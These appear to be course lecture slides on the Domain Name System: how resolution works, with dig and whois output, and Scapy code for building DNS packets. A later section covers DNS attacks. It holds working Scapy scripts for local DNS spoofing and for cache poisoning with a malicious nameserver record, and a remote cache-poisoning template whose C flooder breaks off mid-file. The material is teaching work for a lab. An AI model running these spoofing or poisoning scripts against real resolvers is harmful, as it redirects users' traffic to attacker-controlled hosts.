# Contents [Domain Name System](#/dnscol) [DNS Attacks](#/attacks) [DNSSEC](#/dnssec) [Removing Ads via DNS](#/rmads)
# Domain Name System (DNS)
## The DNS Process [![](https://upload.wikimedia.org/wikipedia/commons/d/d2/DNS_schema.svg)](https://commons.wikimedia.org/wiki/File:DNS_schema.svg) - The DNS Resolver is a process on the DNS server that is trying to map a name to an IP - The root nameserver directs traffic to a TLD *registry* - [Verisign](https://www.verisign.com) for .com and .net - [EDUCAUSE](https://www.educause.edu) for .edu - TLDs direct traffic to the specific domain's nameserver - That may direct traffic to a sub-domain (zone) nameserver - That final "authoritative" nameserver will resolve the URL ## Well known DNS IPv4 servers - 1.1.1.1 and 1.0.0.1: Cloudflare's public DNS servers - 8.8.8.8 and 8.8.4.4: Google's public DNS servers - 8.8.8.8 is what our Docker containers use - 94.140.14.14 and 94.140.15.15: [AdGuard DNS](https://adguard-dns.io/en/welcome.html) See more [here](https://adguard-dns.io/kb/general/dns-providers/) ## DNS Root Servers [![](https://upload.wikimedia.org/wikipedia/commons/e/ee/Root-current.svg)](https://commons.wikimedia.org/wiki/File:Root-current.svg) - Named after letters a-m - Originally all in the US, now half are distributed - Their IPs are hard-coded in the OS, or via OS updates ## DNS Root Servers ![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image3.png) ## Top Level Domain (TLD) [![](https://upload.wikimedia.org/wikipedia/commons/3/34/Root_Zone_Responsibility.jpg)](https://commons.wikimedia.org/wiki/File:Root_Zone_Responsibility.jpg) ## Terminology ![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image1.png) - Root name server: resolves the IPs of the TLD nameservers - Top-level domain (TLD) nameserver: resolves 2nd level domains - Second-level domain: the "main" part of the URL address - Authoritative nameserver: the NS that has the answer - DNS resolver (resolving nameserver): the DNS server your machine contacts that is trying to find the answer ## DNS Information Tools - `dig`: DNS lookup utility; shows the info a DNS server returns - `nslookup`: really the same thing as `dig` - `nslookup` uses it's own libraries, whereas `dig` uses the OS ones - `whois`: lookup registry information for a domain - `rndc`: name server control utility; we'll use it for viewing and flushing the DNS cache ## `dig` and `whois` ```text $ dig virginia.edu ; <<>> DiG 9.10.6 <<>> virginia.edu ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43545 ;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 1232 ;; QUESTION SECTION: ;virginia.edu. IN A ;; ANSWER SECTION: virginia.edu. 365 IN A 128.143.33.150 virginia.edu. 365 IN A 54.197.224.147 virginia.edu. 365 IN A 128.143.33.137 virginia.edu. 365 IN A 128.143.33.144 ;; Query time: 37 msec ;; SERVER: 192.168.14.5#53(192.168.14.5) ;; WHEN: Sun Mar 17 19:11:33 EDT 2024 ;; MSG SIZE rcvd: 105 $ nslookup 54.197.224.147 Server: 192.168.14.5 Address: 192.168.14.5#53 Non-authoritative answer: 147.224.197.54.in-addr.arpa name = ec2-54-197-224-147.compute-1.amazonaws.com. Authoritative answers can be found from: $ ``` ## `whois virginia.edu` ```text % IANA WHOIS server % for more information on IANA, visit http://www.iana.org % This query returned 1 object refer: whois.educause.edu domain: EDU organisation: EDUCAUSE address: 282 Century Place, Suite 5000 address: Louisville CO 80027 address: United States of America (the) contact: administrative name: Information Services Administration organisation: EDUCAUSE address: 4772 Walnut Street, Suite 206 address: Boulder CO 80301 address: United States of America (the) phone: +1-303-449-4430 fax-no: +1-303-440-0461 e-mail: netadmin@educause.edu contact: technical name: Registry Customer Service organisation: VeriSign Global Registry address: 12061 Bluemont Way address: Reston VA 20190 address: United States of America (the) phone: +1-703-925-6999 fax-no: +1-703-948-3978 e-mail: info@verisign-grs.com nserver: A.EDU-SERVERS.NET 192.5.6.30 2001:503:a83e:0:0:0:2:30 nserver: B.EDU-SERVERS.NET 192.33.14.30 2001:503:231d:0:0:0:2:30 nserver: C.EDU-SERVERS.NET 192.26.92.30 2001:503:83eb:0:0:0:0:30 nserver: D.EDU-SERVERS.NET 192.31.80.30 2001:500:856e:0:0:0:0:30 nserver: E.EDU-SERVERS.NET 192.12.94.30 2001:502:1ca1:0:0:0:0:30 nserver: F.EDU-SERVERS.NET 192.35.51.30 2001:503:d414:0:0:0:0:30 nserver: G.EDU-SERVERS.NET 192.42.93.30 2001:503:eea3:0:0:0:0:30 nserver: H.EDU-SERVERS.NET 192.54.112.30 2001:502:8cc:0:0:0:0:30 nserver: I.EDU-SERVERS.NET 192.43.172.30 2001:503:39c1:0:0:0:0:30 nserver: J.EDU-SERVERS.NET 192.48.79.30 2001:502:7094:0:0:0:0:30 nserver: K.EDU-SERVERS.NET 192.52.178.30 2001:503:d2d:0:0:0:0:30 nserver: L.EDU-SERVERS.NET 192.41.162.30 2001:500:d937:0:0:0:0:30 nserver: M.EDU-SERVERS.NET 192.55.83.30 2001:501:b1f9:0:0:0:0:30 ds-rdata: 35663 13 2 a2e1614291831a4746b5ac52b4b345357687271e85353082741f1cf3d06a4c1d whois: whois.educause.edu status: ACTIVE remarks: Registration information: remarks: http://www.educause.edu/edudomain created: 1985-01-01 changed: 2023-09-12 source: IANA # whois.educause.edu This Registry database contains ONLY .EDU domains. The data in the EDUCAUSE Whois database is provided by EDUCAUSE for information purposes in order to assist in the process of obtaining information about or related to .edu domain registration records. The EDUCAUSE Whois database is authoritative for the .EDU domain. A Web interface for the .EDU EDUCAUSE Whois Server is available at: http://whois.educause.edu By submitting a Whois query, you agree that this information will not be used to allow, enable, or otherwise support the transmission of unsolicited commercial advertising or solicitations via e-mail. The use of electronic processes to harvest information from this server is generally prohibited except as reasonably necessary to register or modify .edu domain names. ------------------------------------------------------------- Domain Name: VIRGINIA.EDU Registrant: University of Virginia ITC, Carruthers Hall P.O. Box 400198 Charlottesville, VA 22904-4198 USA Administrative Contact: Domain Admin University of Virginia ITC, Carruthers Hall P.O. Box 400198 Charlottesville, VA 22904-4198 USA +1.4349240621 networks@virginia.edu Technical Contact: Domain Admin University of Virginia ITC, Carruthers Hall P.O. Box 400198 Charlottesville, VA 22904-4198 USA +1.4349240621 networks@virginia.edu Name Servers: UVAARPA.VIRGINIA.EDU EIP-01-AWS.NET.VIRGINIA.EDU NOM.VIRGINIA.EDU Domain record activated: 19-Mar-1986 Domain record last updated: 23-Aug-2022 Domain expires: 31-Jul-2025 ``` ## DNS Zones ![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image2.png) - How DNS servers organize information - Any DNS server: - Is the author- itative resolver for domains in its zone - Will forward requests on to (authoritative) sub-domain zones as necessary - A DNS server can have many zones it manages ## DNS Resolution - The host first checks /etc/hosts: ``` 127.0.0.1 localhost coolservername 127.0.1.1 othercoolservername # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 128.143.69.114 portal portal.cs.virginia.edu ``` - If not found, it then contacts the DNS resolver in /etc/resolv.conf: ``` nameserver 8.8.8.8 ``` ## DNS Resolution A query is made to the DNS resolver, which: 1. Contacts a root NS, asking for www.cs.virginia.edu - Response: contact the .edu TLD nameserver at 192.33.14.30 2. Contacts the .edu TLD NS, asking for www.cs.virginia.edu - Response: contact virginia.edu's nameservers at 128.143.107.117 3. Contacts virginia.edu's NS, asking for www.cs.virginia.edu - Response: contact cs.virginia.edu's nameservers at 128.143.67.64 4. Contacts cs.virginia.edu's NS, asking for www.cs.virginia.edu - Response: the authoritative answer is 128.143.67.11 ## DNS Resolution step 1 ```text $ dig @a.root-servers.net www.cs.virginia.edu ; <<>> DiG 9.10.6 <<>> @a.root-servers.net www.cs.virginia.edu ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18521 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 13, ADDITIONAL: 27 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;www.cs.virginia.edu. IN A ;; AUTHORITY SECTION: edu. 172800 IN NS b.edu-servers.net. edu. 172800 IN NS f.edu-servers.net. edu. 172800 IN NS i.edu-servers.net. edu. 172800 IN NS a.edu-servers.net. edu. 172800 IN NS g.edu-servers.net. edu. 172800 IN NS j.edu-servers.net. edu. 172800 IN NS k.edu-servers.net. edu. 172800 IN NS m.edu-servers.net. edu. 172800 IN NS l.edu-servers.net. edu. 172800 IN NS h.edu-servers.net. edu. 172800 IN NS c.edu-servers.net. edu. 172800 IN NS e.edu-servers.net. edu. 172800 IN NS d.edu-servers.net. ;; ADDITIONAL SECTION: b.edu-servers.net. 172800 IN A 192.33.14.30 b.edu-servers.net. 172800 IN AAAA 2001:503:231d::2:30 f.edu-servers.net. 172800 IN A 192.35.51.30 f.edu-servers.net. 172800 IN AAAA 2001:503:d414::30 i.edu-servers.net. 172800 IN A 192.43.172.30 i.edu-servers.net. 172800 IN AAAA 2001:503:39c1::30 a.edu-servers.net. 172800 IN A 192.5.6.30 a.edu-servers.net. 172800 IN AAAA 2001:503:a83e::2:30 g.edu-servers.net. 172800 IN A 192.42.93.30 g.edu-servers.net. 172800 IN AAAA 2001:503:eea3::30 j.edu-servers.net. 172800 IN A 192.48.79.30 j.edu-servers.net. 172800 IN AAAA 2001:502:7094::30 k.edu-servers.net. 172800 IN A 192.52.178.30 k.edu-servers.net. 172800 IN AAAA 2001:503:d2d::30 m.edu-servers.net. 172800 IN A 192.55.83.30 m.edu-servers.net. 172800 IN AAAA 2001:501:b1f9::30 l.edu-servers.net. 172800 IN A 192.41.162.30 l.edu-servers.net. 172800 IN AAAA 2001:500:d937::30 h.edu-servers.net. 172800 IN A 192.54.112.30 h.edu-servers.net. 172800 IN AAAA 2001:502:8cc::30 c.edu-servers.net. 172800 IN A 192.26.92.30 c.edu-servers.net. 172800 IN AAAA 2001:503:83eb::30 e.edu-servers.net. 172800 IN A 192.12.94.30 e.edu-servers.net. 172800 IN AAAA 2001:502:1ca1::30 d.edu-servers.net. 172800 IN A 192.31.80.30 d.edu-servers.net. 172800 IN AAAA 2001:500:856e::30 ;; Query time: 12 msec ;; SERVER: 198.41.0.4#53(198.41.0.4) ;; WHEN: Sun Mar 17 21:32:38 EDT 2024 ;; MSG SIZE rcvd: 843 $ ``` ## `dig` Response - There are at most four different sections in a `dig` response - **Question:** what is being asked (the DNS query) - If this is the authoritative nameserver for the domain: - **Answer:** the IP that the domain resolves to - If this is *not* the authoritative nameserver for the domain: - **Authority:** the DNS (one level down) to ask - **Additional:** additional information, such as the IPs of the (one level down) DNSes ## DNS Resolution step 2 ```text $ dig @b.edu-servers.net www.cs.virginia.edu ; <<>> DiG 9.10.6 <<>> @b.edu-servers.net www.cs.virginia.edu ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64912 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 3, ADDITIONAL: 4 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;www.cs.virginia.edu. IN A ;; AUTHORITY SECTION: virginia.edu. 172800 IN NS nom.virginia.edu. virginia.edu. 172800 IN NS uvaarpa.virginia.edu. virginia.edu. 172800 IN NS eip-01-aws.net.virginia.edu. ;; ADDITIONAL SECTION: nom.virginia.edu. 172800 IN A 128.143.107.101 uvaarpa.virginia.edu. 172800 IN A 128.143.107.117 eip-01-aws.net.virginia.edu. 172800 IN A 44.234.207.10 ;; Query time: 109 msec ;; SERVER: 192.33.14.30#53(192.33.14.30) ;; WHEN: Sun Mar 17 21:35:22 EDT 2024 ;; MSG SIZE rcvd: 165 $ ``` ## DNS Resolution step 3 ```text $ dig @uvaarpa.virginia.edu www.cs.virginia.edu ; <<>> DiG 9.10.6 <<>> @uvaarpa.virginia.edu www.cs.virginia.edu ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14099 ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 2 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;www.cs.virginia.edu. IN A ;; AUTHORITY SECTION: cs.virginia.edu. 3600 IN NS coresrv01a.cs.virginia.edu. ;; ADDITIONAL SECTION: coresrv01a.cs.virginia.edu. 3600 IN A 128.143.67.64 ;; Query time: 13 msec ;; SERVER: 128.143.107.117#53(128.143.107.117) ;; WHEN: Sun Mar 17 21:37:14 EDT 2024 ;; MSG SIZE rcvd: 89 $ ``` ## DNS Resolution step 4 ```text $ dig @coresrv01a.cs.virginia.edu www.cs.virginia.edu ; <<>> DiG 9.10.6 <<>> @coresrv01a.cs.virginia.edu www.cs.virginia.edu ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45286 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 1232 ;; QUESTION SECTION: ;www.cs.virginia.edu. IN A ;; ANSWER SECTION: www.cs.Virginia.EDU. 172800 IN A 128.143.67.11 ;; Query time: 27 msec ;; SERVER: 128.143.67.64#53(128.143.67.64) ;; WHEN: Sun Mar 17 21:38:17 EDT 2024 ;; MSG SIZE rcvd: 83 $ ``` ## DNS Cache - To speed up the queries, DNS entries are cached for a limited amount of time - Typically 24 hours - Then they are requested again again - To view the DNS cache (on Linux): - `rndc dumpdb -cache` - Then view /var/cache/bind/named_dump.db - To flush the cache: `rndc flush` ## DNS Packet Header ![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image34.png) ## DNS Header Flags Just the relevant ones are shown here - qr: whether a query (0) or response (1) - aa: whether answer is authoritative (1) or not (0) - rd: for queries, is recursion desired (1) or not (0) ## DNS Packet Header ``` $ python3 >>> from scapy.all import * >>> ls(DNS) length : ShortField (Cond) = ('None') id : ShortField = ('0') qr : BitField (1 bit) = ('0') opcode : BitEnumField = ('0') aa : BitField (1 bit) = ('0') tc : BitField (1 bit) = ('0') rd : BitField (1 bit) = ('1') ra : BitField (1 bit) = ('0') z : BitField (1 bit) = ('0') ad : BitField (1 bit) = ('0') cd : BitField (1 bit) = ('0') rcode : BitEnumField = ('0') qdcount : DNSRRCountField = ('None') ancount : DNSRRCountField = ('None') nscount : DNSRRCountField = ('None') arcount : DNSRRCountField = ('None') qd : DNSQRField = ('
') an : DNSRRField = ('None') ns : DNSRRField = ('None') ar : DNSRRField = ('None') >>> ``` ## DNS Packet Data (Records) ![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image26.png) Answer and Authority records are the same, other than type. Additional records are just like Answer records. ## DNS Packet Header ``` $ python3 >>> from scapy.all import * >>> >>> ls(DNSQR) # for question records qname : DNSStrField = ("b'www.example.com.'") qtype : ShortEnumField = ('1') qclass : ShortEnumField = ('1') >>> >>> ls(DNSRR) # for answer and authority records rrname : DNSStrField = ("b'.'") type : ShortEnumField = ('1') rclass : ShortEnumField = ('1') ttl : IntField = ('0') rdlen : FieldLenField = ('None') rdata : MultipleTypeField (IPField, IP6Field, DNSStrField, DNSTextField, StrLenField) = ("b''") >>> ``` ## Sending a DNS query ```python #!/usr/bin/env python3 from scapy.all import * IPpkt = IP(dst='8.8.8.8') # Google's DNS UDPpkt = UDP(dport=53) Qdsec = DNSQR(qname='www.virginia.edu') DNSpkt = DNS(id=100, qr=0, qdcount=1, qd=Qdsec) Querypkt = IPpkt/UDPpkt/DNSpkt Replypkt = sr1(Querypkt) reply = Replypkt[DNS] print(repr(reply)) ``` ## Output: ``` >>> ls(reply) length : ShortField (Cond) = None ('None') id : ShortField = 100 ('0') qr : BitField (1 bit) = 1 ('0') opcode : BitEnumField = 0 ('0') aa : BitField (1 bit) = 0 ('0') tc : BitField (1 bit) = 0 ('0') rd : BitField (1 bit) = 1 ('1') ra : BitField (1 bit) = 1 ('0') z : BitField (1 bit) = 0 ('0') ad : BitField (1 bit) = 0 ('0') cd : BitField (1 bit) = 0 ('0') rcode : BitEnumField = 0 ('0') qdcount : DNSRRCountField = 1 ('None') ancount : DNSRRCountField = 4 ('None') nscount : DNSRRCountField = 0 ('None') arcount : DNSRRCountField = 0 ('None') qd : DNSQRField =
('
') an : DNSRRField =
>>> ('None') ns : DNSRRField = None ('None') ar : DNSRRField = None ('None') >>> ``` The `qd` and `an` fields are on the next slide ## Output `qd` field: ```
('
') ``` `an` field: ```
>>> ('None') ``` The very last line has the IP: 54.174.200.221 ## A simple DNS server ``` #!/usr/bin/env python3 from scapy.all import * from socket import AF_INET, SOCK_DGRAM, socket sock = socket(AF_INET, SOCK_DGRAM) # port 53 may be taken, so we listen on port 1053 sock.bind(('0.0.0.0', 1053)) while True: request, addr = sock.recvfrom(4096) DNSreq = DNS(request) query = DNSreq.qd.qname print(query.decode('ascii')) # construct the sections of the dig response # answer section: we always return 10.2.3.6 Anssec = DNSRR(rrname=DNSreq.qd.qname, type='A', rdata='10.2.3.6', ttl=86400) # two authority sections: other NS to ask NSsec1 = DNSRR(rrname="example.com", type='NS', rdata='ns1.example.com', ttl=86400) NSsec2 = DNSRR(rrname="example.com", type='NS', rdata='ns2.example.com', ttl=86400) ## additional sections: more info, such as the NS IPs Addsec1 = DNSRR(rrname='ns1.example.com', type='A', rdata='10.2.3.1', ttl=86400) Addsec2 = DNSRR(rrname='ns2.example.com', type='A', rdata='10.2.3.2', ttl=86400) # combine all these into a single DNS packet DNSpkt = DNS(id=DNSreq.id, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=2, qd=DNSreq.qd, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2) # print the packet and then send it back print(repr(DNSpkt)) sock.sendto(bytes(DNSpkt), addr) ``` ## Simple DNS Server Usage ```text $ dig @localhost -p 1053 www.example.com ; <<>> DiG 9.10.6 <<>> @localhost -p 1053 www.example.com ; (2 servers found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14967 ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2 ;; QUESTION SECTION: ;www.example.com. IN A ;; ANSWER SECTION: www.example.com. 86400 IN A 10.2.3.6 ;; AUTHORITY SECTION: example.com. 86400 IN NS ns1.example.com. example.com. 86400 IN NS ns2.example.com. ;; ADDITIONAL SECTION: ns1.example.com. 86400 IN A 10.2.3.1 ns2.example.com. 86400 IN A 10.2.3.2 ;; Query time: 4 msec ;; SERVER: 127.0.0.1#1053(127.0.0.1) ;; WHEN: Sun Mar 17 22:36:21 EDT 2024 ;; MSG SIZE rcvd: 206 $ ```
# DNS Attacks
## DNS Attack Surfaces ![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image32.png) On the local machine (1), between the resolver and the local machine (2), between the resolver and the Internet (3), and a malicious DNS server (4) ## 1: DNS Local Machine Attacks [![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image32.png)](http://www.cs.virginia.edu/~asb2t/duimg/n10/image32.png) - If you have root on a machine, you can do a lot of damage - But if you really want to attack DNS... - Edit /etc/hosts to hard-code an address - Edit /etc/resolv.conf to change to a malicious DNS server ## 2: DNS Attacks on Host [![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image32.png)](http://www.cs.virginia.edu/~asb2t/duimg/n10/image32.png) - When the local machine sends out a query to the DNS server - Immediately send a spoofed reply - The real reply will come in later, and then be ignored - This requires no special privileges other than the ability to send a network packet - Although you have to be on one of the machines b/c of switches ## 2: DNS Attacks on Host [![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image33.png)](http://www.cs.virginia.edu/~asb2t/duimg/n10/image33.png) - When a DNS query is launched from the user's machine to the DNS server, immediately send a spoofed reply - This is the right-most "attacker" icon in the diagram ## DNS Spoof Attack on Host ```python #!/usr/bin/env python3 from scapy.all import * def spoof_dns(pkt): if(DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')): IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) UDPpkt = UDP(dport=pkt[UDP].sport, sport=53) Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', rdata='1.2.3.4', ttl=86400) DNSpkt = DNS(id=pkt[DNS].id, aa=1, rd=0, qdcount=1, qr=1, ancount=1, qd=pkt[DNS].qd, an=Anssec, ns=NSsec) spoofpkt = IPpkt/UDPpkt/DNSpkt send(spoofpkt) f = 'udp and (src host 10.9.0.53 and dst port 53)' pkt=sniff(iface='eth1', filter=f, prn=spoof_dns) ```
DNS Spoof Attack
nslookup
Output
```text root@outer1:/# nslookup example.com Server: 192.168.100.1 Address: 192.168.100.1#53 Non-authoritative answer: Name: example.com Address: 1.2.3.4 root@outer1:/# ``` ## DNS Spoof Attack `dig` Output ```text root@outer1:/# dig example.com ; <<>> DiG 9.18.18-0ubuntu0.22.04.1-Ubuntu <<>> example.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41173 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 1232 ; COOKIE: 10ea56a59bc6c7380100000065fa3c02a6160747ce093f96 (good) ;; QUESTION SECTION: ;example.com. IN A ;; ANSWER SECTION: example.com. 86400 IN A 1.2.3.4 ;; Query time: 1 msec ;; SERVER: 192.168.100.1#53(192.168.100.1) (UDP) ;; WHEN: Tue Mar 19 21:29:38 EDT 2024 ;; MSG SIZE rcvd: 84 root@outer1:/# ``` ## DNS Timing Issues [![](../docker/network_compact.svg)](../docker/network_compact.svg) - Scapy is slow, networks are fast - On the Docker containers, sometimes the DNS reply comes in before Scapy can send the spoof - Solution: cause the Internet link to be slow via the `tc` command on *firewall* ``` // add a delay to the eth0 interface tc qdisc add dev eth0 root netem delay 500ms // see the delay on the eth0 interface tc qdisc show dev eth0 // remove the delay on the eth0 interface tc qdisc del dev eth0 root netem ``` ## This only works the first time - The first time example.com is queried, the *firewall* nameserver sends a message out to the Internet to get the mapping - Possibly with a delay - But allowing Scapy to send the spoofed packet - The the *real* mapping is in the DNS cache - And this the response is very quick the second time around - Solution: modify the DNS cache ## 3: DNS Cache Poisoning Attack [![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image32.png)](http://www.cs.virginia.edu/~asb2t/duimg/n10/image32.png) - When the DNS server doesn't know a mapping, it queries other DNS servers - Starting with the root nameservers - Send a spoofed reply before the real reply comes in - To the DNS, not the requesting host machine - This reply will stay in the DNS server's cache, poisoning it
3: DNS Cache Poisoning Attack
[![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image33.png)](http://www.cs.virginia.edu/~asb2t/duimg/n10/image33.png) - When a DNS query is launched from the user's machine to the DNS server, immediately send a spoofed reply - This is the left-most "attacker" icon in the diagram
3: DNS Cache Poisoning Attack
[![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image33.png)](http://www.cs.virginia.edu/~asb2t/duimg/n10/image33.png) - If one has access to the interface from the DNS server to the Internet, it's much like the previous example - Remote is harder, but possible ## DNS Attack Differences [![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image32.png)](http://www.cs.virginia.edu/~asb2t/duimg/n10/image32.png) - 2: DNS Attacks on Host - This attack must occur *each* time a machine queries that address - And some machines may not have much of a DNS cache - 3: DNS Cache Poisoning Attack - This attack has the data staying in the DNS cache - So only has to occur once (for a 24 hour period)
Targeting the Authority Section
- A DNS spoof attack would also target the *authority* section - The authoritative nameserver for the domain - So if example.com were spoofed, a fake sub-domain (ns.example.com) would be registered as the authority - Along with an IP address of a malicious nameserver - Then any query to *.example.com will use that (malicious) nameserver
DNS Spoof Poisoning Attack w/NS
```python #!/usr/bin/env python3 from scapy.all import * def spoof_dns(pkt): if(DNS in pkt and 'example.com' in pkt[DNS].qd.qname.decode('utf-8')): IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) UDPpkt = UDP(dport=pkt[UDP].sport, sport=53) Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', rdata='1.2.3.4', ttl=86400) NSsec = DNSRR(rrname="example.com", type='NS', rdata='ns.attacker32.com', ttl=86400) DNSpkt = DNS(id=pkt[DNS].id, aa=1, rd=0, qdcount=1, qr=1, ancount=1, nscount=1, qd=pkt[DNS].qd, an=Anssec, ns=NSsec) spoofpkt = IPpkt/UDPpkt/DNSpkt send(spoofpkt) f = 'udp and (src host 10.9.0.53 and dst port 53)' pkt=sniff(iface='eth0', filter=f, prn=spoof_dns) ```
DNS Spoof Poisoning Attack w/NS
In the DNS cache: ```text # dig NS example.com ;; QUESTION SECTION: example.com. IN NS ;; ANSWER SECTION: example.com. 172204 IN NS ns.attacker32.com ``` Example usage: ```text $ dig xyz.example.com ;; ANSWER SECTION: xyz.example.com 86400 IN A 1.2.3.6 $ dig abc.example.com ;; ANSWER SECTION: abc.example.com 86400 IN A 1.2.3.6 ``` Here, 1.2.3.6 is what the malicious nameserver returns ## Local versus Remote ![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image34.png) - This attack is primarily local (for now) - DNS packets have two values that have to be correct: transaction ID and the port number - Both are 16 bit values - A local attack can see these values in the DNS request - A remote attack cannot, and has thus a $2^{32}$ chance of success - But there is a version that will work; we'll see it next ## More Cache, More Problems - We have a 1 in a $2^{32}$ (about 4.3 billion) chance of guessing the right numbers - UDP source port and DNS transaction ID - Incorrect values will cause the spoofed reply to be ignored - If we guess it wrong, the correct one will arrive, and stay in cache - For one or more days - So we can't try again until we wait... ## Remote DNS Cache Poisoning - In order to perform a remote DNS cache poisoning attack, we have to perform three steps: 1. Trigger the victim machine to perform a DNS query 2. Negate the cache effect 3. Spoof the reply - We are going to do this for a *sub-domain* of example.com ## Step 1: Trigger the DNS query - Perhaps we have a user (non-root) account on that machine - Then `nslookup foo.example.com` will do it - Maybe we control a website that users in that organization frequent - Try to load an image from foo.example.com - Send a email that includes a link or embedded image - The list goes on and on... ## Step 2: Negate the cache effect - We query various random sub-domains of example.com - We assume a example.com nameserver is not included in the initial example.com query - If it is, pick a different domain - Each new sub-domain will not be in cache - It will save the response in cache, but we'll use a different sub-domain next time - Thus, the cache effect is negated ## Step 3: Spoof the reply ![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image34.png) - We don't know the UDP port number nor the DNS transaction ID - Guessing them is a 1 in $2^{32}$ chance of success - We flood the DNS server with spoofed responses - Maybe one will work - If unsuccessful, try a new random sub-domain, and repeat the flood - Eventually one will work ## Remote DNS Cache Poisoning [![](http://www.cs.virginia.edu/~asb2t/duimg/n10/image40.png)](http://www.cs.virginia.edu/~asb2t/duimg/n10/image40.png) ## We set the authority - Eventually a response will make it in - That response will also include an authority section - Setting a malicious nameserver as the nameserver for *.example.com - Only a response that makes it in - And responds to the query (via answer or authority) - Will be accepted, and we can add the authority section to that - A query to another sub-domain can then cause real damage - We'll see this shortly ## Scapy code to create a template ```python #!/bin/env python3 from scapy.all import * # We are targeting the example.com domain. targetName = 'aaaaa.example.com' targetDomain = 'example.com' # The objective of the attack is to get the targeted local # DNS server to use the following name as the nameserver # for the example.com domain. attackerNS = 'ns.attacker32.com' # dstIP is the IP address of the targeted local DNS server. # srcIP can be address, because it will be replaced with # the IP address of example.com's actual name server. dstIP = '10.9.0.53' srcIP = '1.2.3.4' # Construct the IP and UDP header ip = IP (dst = dstIP, src = srcIP) # Set the checksum filed to zero. If this field is not set, # Scapy will calculate checksum for us. Since the UDP packet # will be modified later, this checksum will become invalid. # Setting this field to zero means ignoring checksum (supported by UDP). # Scapy will not do the calculation for us if the field is already set. udp = UDP(dport = 33333, sport = 53, chksum=0) # Construct the Question section # The C code will modify the qname field Qdsec = DNSQR(qname = targetName) # Construct the Answer section (the answer can be anything) # The C code will modify the rrname field Anssec = DNSRR(rrname = targetName, type = 'A', rdata = '1.1.1.1', ttl = 259200) # Construct the Authority section (the main goal of the attack) NSsec = DNSRR(rrname = targetDomain, type = 'NS', rdata = attackerNS, ttl = 259200) # Construct the DNS part # The C code will modify the id field dns = DNS(id = 0xAAAA, aa=1, rd=1, qr=1, qdcount = 1, qd = Qdsec, ancount = 1, an = Anssec, nscount = 1, ns = NSsec) # Construct the IP packet and save it to a file. Replypkt = ip/udp/dns with open('ip_resp.bin', 'wb') as f: f.write(bytes(Replypkt)) ``` ## C code to launch the attack ```c #include
#include
#include
#include
#include
#include
#define MAX_FILE_SIZE 1000000 /* IP Header */ struct ipheader { unsigned char iph_ihl:4, //IP header length iph_ver:4; //IP version unsigned char iph_tos; //Type of service unsigned short int iph_len; //IP Packet length (data + header) unsigned short int iph_ident; //Identification unsigned short int iph_flag:3, //Fragmentation flags iph_offset:13; //Flags offset unsigned char iph_ttl; //Time to Live unsigned char iph_protocol; //Protocol type unsigned short int iph_chksum; //IP datagram checksum struct in_addr iph_sourceip; //Source IP address struct in_addr iph_destip; //Destination IP address }; void send_raw_packet(char * buffer, int pkt_size); void send_dns_request( ); void send_dns_response( ); int main() { srand(time(NULL)); // Load the DNS request packet from file FILE * f_req = fopen("ip_req.bin", "rb"); if (!f_req) { perror("Can't open 'ip_req.bin'"); exit(1); } unsigned char ip_req[MAX_FILE_SIZE]; int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req); // Load the first DNS response packet from file FILE * f_resp = fopen("ip_resp.bin", "rb"); 